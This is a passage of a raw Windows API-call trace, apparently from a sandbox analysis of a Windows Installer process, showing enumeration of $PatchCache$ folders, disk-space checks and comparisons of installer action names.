[0125.346] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x35d69620, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x35d8f780, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x35d8f780, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00006109110000000000000000F01FEC", cAlternateFileName="000061~2")) returned 1 [0125.346] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0125.346] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0125.346] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd937b5c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd937b5c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd937b5c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00006109A20000000100000000F01FEC", cAlternateFileName="000061~1")) returned 1 [0125.346] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0125.346] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0125.346] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6c3b1a90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6c3b1a90, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6c3b1a90, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1926E8D15D0BCE53481466615F760A7F", cAlternateFileName="1926E8~1")) returned 1 [0125.346] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0125.346] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0125.346] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x65971770, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x65971770, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x65971770, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D5E3C0FEDA1E123187686FED06E995A", cAlternateFileName="1D5E3C~1")) returned 1 [0125.346] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0125.346] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0125.346] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xb74a8770, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xb74a8770, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xb74a8770, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7FA53761D8D11863495A5C876AE18C23", cAlternateFileName="7FA537~1")) returned 1 [0125.347] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0125.347] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0125.347] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xb74a8770, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xb74a8770, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xb74a8770, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7FA53761D8D11863495A5C876AE18C23", cAlternateFileName="7FA537~1")) returned 0 [0125.347] FindClose (in: hFindFile=0x380250 | out: hFindFile=0x380250) returned 1 [0125.347] lstrlenW (lpString="\\") returned 1 [0125.348] lstrlenW (lpString="\\\\") returned 2 [0125.348] wcsstr (_Str="00006109110000000000000000F01FEC", _SubStr="\\\\") returned 0x0 [0125.348] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0125.348] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0125.348] lstrlenW (lpString="\\") returned 1 [0125.348] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.348] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.348] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.348] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.348] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.348] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00006109110000000000000000F01FEC\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00006109110000000000000000f01fec\\cachesize.txt")) returned 0xffffffff [0125.394] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00006109110000000000000000F01FEC\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00006109110000000000000000f01fec\\cachesize.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.396] lstrlenW (lpString="\\") returned 1 [0125.396] lstrlenW (lpString="\\\\") returned 2 [0125.396] wcsstr (_Str="00006109A20000000100000000F01FEC", _SubStr="\\\\") returned 0x0 [0125.396] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0125.396] lstrlenW (lpString="00006109A20000000100000000F01FEC") returned 32 [0125.396] lstrlenW (lpString="\\") returned 1 [0125.396] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.396] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.396] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.396] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.396] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.396] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00006109A20000000100000000F01FEC\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00006109a20000000100000000f01fec\\cachesize.txt")) returned 0xffffffff [0125.398] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00006109A20000000100000000F01FEC\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00006109a20000000100000000f01fec\\cachesize.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.399] lstrlenW (lpString="\\") returned 1 [0125.399] lstrlenW (lpString="\\\\") returned 2 [0125.399] wcsstr (_Str="1926E8D15D0BCE53481466615F760A7F", _SubStr="\\\\") returned 0x0 [0125.399] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0125.399] lstrlenW (lpString="1926E8D15D0BCE53481466615F760A7F") returned 32 [0125.400] lstrlenW (lpString="\\") returned 1 [0125.400] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.400] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.401] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.401] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.401] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.401] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1926e8d15d0bce53481466615f760a7f\\cachesize.txt")) returned 0xffffffff [0125.457] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1926e8d15d0bce53481466615f760a7f\\cachesize.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.459] lstrlenW (lpString="\\") returned 1 [0125.459] lstrlenW (lpString="\\\\") returned 2 [0125.459] wcsstr (_Str="1D5E3C0FEDA1E123187686FED06E995A", _SubStr="\\\\") returned 0x0 [0125.460] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0125.460] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0125.460] lstrlenW (lpString="\\") returned 1 [0125.460] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.460] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.460] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.460] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.460] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.460] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1d5e3c0feda1e123187686fed06e995a\\cachesize.txt")) returned 0xffffffff [0125.513] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1d5e3c0feda1e123187686fed06e995a\\cachesize.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.515] lstrlenW (lpString="\\") returned 1 [0125.515] lstrlenW (lpString="\\\\") returned 2 [0125.515] wcsstr (_Str="7FA53761D8D11863495A5C876AE18C23", _SubStr="\\\\") returned 0x0 [0125.515] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0125.515] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0125.515] lstrlenW (lpString="\\") returned 1 [0125.515] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.515] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.515] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.515] lstrlenW (lpString="CacheSize.txt") returned 13 [0125.515] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.515] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\7FA53761D8D11863495A5C876AE18C23\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\7fa53761d8d11863495a5c876ae18c23\\cachesize.txt")) returned 0xffffffff [0125.517] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\7FA53761D8D11863495A5C876AE18C23\\CacheSize.txt" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\7fa53761d8d11863495a5c876ae18c23\\cachesize.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.519] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.519] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd9f0, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0125.520] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\UnManaged", UrlIs=0x0) returned 0 [0125.520] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\UnManaged") returned 43 [0125.520] lstrlenW (lpString="\\") returned 1 [0125.520] lstrlenW (lpString="\\\\") returned 2 [0125.520] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\UnManaged", _SubStr="\\\\") returned 0x0 [0125.520] lstrlenW (lpString="Windows") returned 7 [0125.520] lstrlenW (lpString="Windows") returned 7 [0125.520] lstrlenW (lpString="Installer") returned 9 [0125.520] lstrlenW (lpString="Installer") returned 9 [0125.520] lstrlenW (lpString="$PatchCache$") returned 12 [0125.520] lstrlenW (lpString="$PatchCache$") returned 12 [0125.520] lstrlenW (lpString="UnManaged") returned 9 [0125.520] lstrlenW (lpString="UnManaged") returned 9 [0125.520] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\UnManaged") returned 41 [0125.520] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\UnManaged") returned 41 [0125.520] lstrlenW (lpString="\\") returned 1 [0125.520] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.520] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\UnManaged" (normalized: "c:\\windows\\installer\\$patchcache$\\unmanaged")) returned 0xffffffff [0125.521] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\UnManaged\\") returned 44 [0125.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\UnManaged" (normalized: "c:\\windows\\installer\\$patchcache$\\unmanaged"), fInfoLevelId=0x0, lpFileInformation=0x10cd8d0 | out: lpFileInformation=0x10cd8d0*(dwFileAttributes=0x10cd950, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x3272b0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x104, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0125.521] GetLastError () returned 0x2 [0125.521] GetLastError () returned 0x2 [0125.521] lstrlenW (lpString="Feature") returned 7 [0125.521] lstrlenW (lpString="ActionRequested") returned 15 [0125.521] lstrlenW (lpString="Installed") returned 9 [0125.521] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd970, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0125.521] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0125.521] lstrlenW (lpString="\\") returned 1 [0125.521] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", UrlIs=0x0) returned 0 [0125.522] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 74 [0125.522] lstrlenW (lpString="\\") returned 1 [0125.522] lstrlenW (lpString="\\\\") returned 2 [0125.522] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", _SubStr="\\\\") returned 0x0 [0125.522] lstrlenW (lpString="Windows") returned 7 [0125.522] lstrlenW (lpString="Windows") returned 7 [0125.522] lstrlenW (lpString="Installer") returned 9 [0125.522] lstrlenW (lpString="Installer") returned 9 [0125.522] lstrlenW (lpString="$PatchCache$") returned 12 [0125.522] lstrlenW (lpString="$PatchCache$") returned 12 [0125.522] lstrlenW (lpString="Managed") returned 7 [0125.522] lstrlenW (lpString="Managed") returned 7 [0125.522] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0125.522] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0125.522] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0125.522] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0125.522] lstrlenW (lpString="\\") returned 1 [0125.522] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.522] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04")) returned 0xffffffff [0125.523] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04\\") returned 75 [0125.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04"), fInfoLevelId=0x0, lpFileInformation=0x10cdb00 | out: lpFileInformation=0x10cdb00*(dwFileAttributes=0x10cdb80, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x10cdcc8, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x6659ffe, nFileSizeHigh=0x0, nFileSizeLow=0x2be7100)) returned 0 [0125.523] GetLastError () returned 0x2 [0125.523] GetLastError () returned 0x2 [0125.524] GetTickCount () returned 0x187807c [0125.524] GetCurrentThreadId () returned 0xf50 [0125.524] GetCurrentThreadId () returned 0xf50 [0125.524] SetEvent (hEvent=0x170) returned 1 [0125.524] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.574] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd580, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.574] lstrlenW (lpString="C:\\Windows") returned 10 [0125.574] lstrlenW (lpString="\\") returned 1 [0125.574] lstrlenW (lpString="Installer") returned 9 [0125.574] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.574] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.574] lstrlenW (lpString="\\") returned 1 [0125.574] lstrlenW (lpString="\\\\") returned 2 [0125.574] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.574] lstrlenW (lpString="Windows") returned 7 [0125.574] lstrlenW (lpString="Windows") returned 7 [0125.574] lstrlenW (lpString="Installer") returned 9 [0125.574] lstrlenW (lpString="Installer") returned 9 [0125.574] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.574] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.574] lstrlenW (lpString="\\") returned 1 [0125.574] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.574] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.575] lstrlenW (lpString="\\") returned 1 [0125.575] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.575] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x10cda68, lpTotalNumberOfBytes=0x10cda70, lpTotalNumberOfFreeBytes=0x10cda60 | out: lpFreeBytesAvailableToCaller=0x10cda68, lpTotalNumberOfBytes=0x10cda70, lpTotalNumberOfFreeBytes=0x10cda60) returned 1 [0125.575] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x10cdac8, lpBytesPerSector=0x10cdac0, lpNumberOfFreeClusters=0x10cdad0, lpTotalNumberOfClusters=0x10cdad8 | out: lpSectorsPerCluster=0x10cdac8, lpBytesPerSector=0x10cdac0, lpNumberOfFreeClusters=0x10cdad0, lpTotalNumberOfClusters=0x10cdad8) returned 1 [0125.575] GetLastError () returned 0x0 [0125.575] SetLastError (dwErrCode=0x0) [0125.575] lstrlenW (lpString="\\") returned 1 [0125.575] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.575] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x10cda68, lpTotalNumberOfBytes=0x10cda70, lpTotalNumberOfFreeBytes=0x10cda60 | out: lpFreeBytesAvailableToCaller=0x10cda68, lpTotalNumberOfBytes=0x10cda70, lpTotalNumberOfFreeBytes=0x10cda60) returned 1 [0125.576] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x10cdac8, lpBytesPerSector=0x10cdac0, lpNumberOfFreeClusters=0x10cdad0, lpTotalNumberOfClusters=0x10cdad8 | out: lpSectorsPerCluster=0x10cdac8, lpBytesPerSector=0x10cdac0, lpNumberOfFreeClusters=0x10cdad0, lpTotalNumberOfClusters=0x10cdad8) returned 1 [0125.576] GetLastError () returned 0x0 [0125.576] SetLastError (dwErrCode=0x0) [0125.576] lstrlenW (lpString="OutOfDiskSpace") returned 14 [0125.576] _vsnwprintf (in: _Buffer=0x10cdaa8, _BufferCount=0xb, _Format="%i", _ArgList=0x10cda98 | out: _Buffer="0") returned 1 [0125.576] lstrlenW (lpString="0") returned 1 [0125.576] lstrlenW (lpString="OutOfNoRbDiskSpace") returned 18 [0125.576] _vsnwprintf (in: _Buffer=0x10cdaa8, _BufferCount=0xb, _Format="%i", _ArgList=0x10cda98 | out: _Buffer="0") returned 1 [0125.576] lstrlenW (lpString="0") returned 1 [0125.576] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0125.576] lstrlenW (lpString="Feature") returned 7 [0125.576] lstrlenW (lpString="ActionRequested") returned 15 [0125.577] lstrlenW (lpString="Installed") returned 9 [0125.577] GetTickCount () returned 0x18780bb [0125.577] lstrlenW (lpString="InstallValidate") returned 15 [0125.577] SetLastError (dwErrCode=0xd) [0125.577] SetLastError (dwErrCode=0xd) [0125.577] lstrlenW (lpString="Time") returned 4 [0125.577] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x1f)) [0125.577] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.577] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x1f)) [0125.577] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.577] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2f, wMilliseconds=0x1f)) [0125.577] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:47") returned 9 [0125.577] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0125.578] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0125.578] memcpy (in: _Dst=0x3b5083a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0125.578] memcpy (in: _Dst=0x3b5083e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.578] SetLastError (dwErrCode=0x0) [0125.578] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.578] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0125.578] memcpy (in: _Dst=0x3b50844, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b50844) returned 0x3b50844 [0125.578] memcpy (in: _Dst=0x3b50862, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b50862) returned 0x3b50862 [0125.578] SetLastError (dwErrCode=0x0) [0125.578] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0125.578] memcpy (in: _Dst=0x3b50862, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50862) returned 0x3b50862 [0125.578] memcpy (in: _Dst=0x3b50868, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b50868) returned 0x3b50868 [0125.578] GetCurrentThreadId () returned 0xf50 [0125.578] GetCurrentThreadId () returned 0xf50 [0125.578] SetEvent (hEvent=0x170) returned 1 [0125.578] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.580] lstrlenW (lpString="ActionText") returned 10 [0125.580] lstrcmpW (lpString1="Advertise", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="AppSearch", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="BindImage", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="CCPSearch", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="CostFinalize", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="CostInitialize", lpString2="RemoveExistingProducts") returned -1 [0125.580] lstrcmpW (lpString1="CreateFolders", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="CreateShortcuts", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="DeleteServices", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="DuplicateFiles", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="FileCost", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="FindRelatedProducts", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="GenerateScript", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="InstallAdminPackage", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="InstallFiles", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="InstallODBC", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="InstallServices", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="InstallValidate", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="LaunchConditions", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="MoveFiles", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="PatchFiles", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="ProcessComponents", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="PublishComponents", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="PublishFeatures", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="PublishProduct", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterClassInfo", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterComPlus", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterFonts", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterProduct", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="RemoveExistingProducts") returned -1 [0125.581] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="RemoveExistingProducts") returned -1 [0125.581] 